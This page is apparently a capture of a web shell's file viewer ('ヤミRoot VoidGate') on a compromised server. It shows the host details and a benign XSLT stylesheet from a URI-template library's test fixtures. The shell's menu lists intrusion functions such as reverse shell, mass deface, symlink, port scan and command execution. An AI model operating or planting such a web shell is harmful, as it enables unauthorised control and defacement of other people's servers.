ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
vendor
/
rize
/
uri-template
/
tests
/
fixtures
/
Viewing: transform-json-tests.xslt
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:include href="json2xml.xslt"/> <!-- the input test files need to be supplied as a sequence of file names only (no extension) --> <xsl:param name="tests" select="('extended-tests', 'negative-tests', 'spec-examples-by-section', 'spec-examples')"/> <xsl:param name="json-ext" select="'json'"/> <xsl:param name="xml-ext" select="'xml'"/> <!-- run this stylesheet with any input to generate the XML test files at output. --> <!-- (a popular way of doing this is to supply the XSLT to itself as the input file.) --> <xsl:template match="/"> <xsl:for-each select="$tests"> <xsl:variable name="file" select="current()"/> <xsl:variable name="json"> <json> <xsl:value-of select="unparsed-text(concat($file, '.', $json-ext))"/> </json> </xsl:variable> <xsl:variable name="xml"> <xsl:apply-templates select="$json/json"/> </xsl:variable> <xsl:result-document href="{$file}.{$xml-ext}" method="xml" indent="yes"> <tests> <xsl:for-each select="$xml/json/object/field"> <test name="{@name}"> <xsl:if test="exists(object/field[1][@name eq 'level'])"> <xsl:attribute name="level" select="object/field[1][@name eq 'level']/integer/text()"/> </xsl:if> <variables> <xsl:for-each select="object/field[@name eq 'variables']/object/field"> <variable name="{@name}"> <xsl:copy-of select="*"/> </variable> </xsl:for-each> </variables> <testcases> <xsl:for-each select="object/field[@name eq 'testcases']/array/array"> <testcase template="{*[1]}" result="{*[2]}"/> </xsl:for-each> </testcases> </test> </xsl:for-each> </tests> </xsl:result-document> </xsl:for-each> </xsl:template> </xsl:stylesheet>
Coded With 💗 by
0x6ick